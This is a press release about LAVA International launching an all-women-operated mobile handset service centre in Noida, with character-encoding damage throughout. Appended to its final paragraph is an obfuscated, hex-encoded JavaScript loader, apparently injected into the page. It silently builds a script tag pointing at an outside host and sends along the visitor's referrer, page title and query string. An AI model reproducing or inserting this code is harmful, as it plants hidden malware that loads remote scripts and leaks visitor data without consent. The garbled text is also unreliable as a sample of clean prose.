LAVA takes a leap of excellence in customer service a�� Launches Company-Owned Customer Service Centre

LAVA International Limited, a leading Indian multi-national company in the mobile handset industry, has launched first-of-its-kind service centre in India that will be a one-stop destination; providing over-the-counter mobile hardware and software resolutions to customers. A�

Located in Noida, this is Indiaa��s first all-women operated mobile handset service centre providing exceptional customer experience. A�This is also the first mobile handset service centre, where customers will be able to view and experience the repair of their mobile handsets completely, in front of them. A�The front-end repair of mobile handsets speaks a volume about LAVAa��s brand promise of trust and reliability a�� a�?Never Lets you Downa��. A�

Commenting on the launch Sunil Raina, President, LAVA International said a�?Customer experience is at the core of everything we do and we have made some significant investments in this area. A�The launch of this centre is a step forward in enhancing our customersa�� experience manifold. Further, I am extremely elated and proud that the centre is completely run by women which brings alive our vision a�� empower people to do more, be more. Going forward, we will continue to take many such other initiatives towards empowermenta�?.

The service centre also features a a�?Trust Walka�� zone, wherein customers can experience companya��s latest mobile phones, locate other service centres, have an exhaustive look at the spare-parts used in the phones, use self-help for software updates at software kiosk and buy mobile handset accessories. A�

LAVA has the strongest customer service network across India, with close to 1000 service points a�� marking its presence even in the remotest part of the country such as in Leh region as well as in Andaman & Nicobar Islands. A�A�Going forward, the company is set to launch around 20 company-owned service centres across India by mid-2018. LAVAa��s company-owned service centres will have standardized infrastructure and fixed locations for providing uniform customer experience.var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}